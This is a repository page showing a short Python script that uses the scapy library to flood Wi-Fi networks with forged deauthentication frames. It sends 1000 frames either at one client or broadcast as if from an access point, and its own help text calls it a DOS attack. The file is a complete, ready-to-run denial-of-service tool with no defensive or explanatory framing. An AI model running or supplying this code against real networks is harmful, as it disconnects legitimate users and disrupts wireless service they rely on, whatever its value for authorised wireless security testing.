-
Notifications
You must be signed in to change notification settings - Fork 9
Expand file tree
/
Copy pathCrack_DOS_Attack_Wifi.py
More file actions
39 lines (32 loc) · 1.3 KB
/
Copy pathCrack_DOS_Attack_Wifi.py
File metadata and controls
39 lines (32 loc) · 1.3 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/bin/env python
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
import argparse
iface = 'wlan0'
helpme = """
This is just a DOS attack for Wifi by send deauth frame.
"""
parser = argparse.ArgumentParser(description=helpme)
parser.add_argument('-m', action='store', dest='mode',
help='Attack mode')
parser.add_argument('-a', action='store', dest='bssid',
help='Access point mac address')
parser.add_argument('-c', action='store', dest='client',
help='Client mac address')
parser.add_argument('-i', action='store', dest='iface',
help='Interface for attack\n')
args = parser.parse_args()
client = args.client
bssid = args.bssid
mode = args.mode
iface = args.iface
broad = "ff:ff:ff:ff:ff:ff"
if mode == 'c':
print "Send Deauth packet to : ", client, " - AP : ", bssid
deauth = RadioTap() / Dot11(addr1=bssid, addr2=client.lower(), addr3=bssid)/Dot11Deauth()
sendp(deauth, iface=iface, count=1000, inter = .2, verbose=False)
elif mode == 'b':
print "Send Deauth packet to AP: ", bssid
deauth = RadioTap() / Dot11(addr1=broad, addr2=bssid.lower(), addr3=bssid.lower())/Dot11Deauth()
sendp(deauth, iface=iface, count=1000, inter = .2, verbose=False)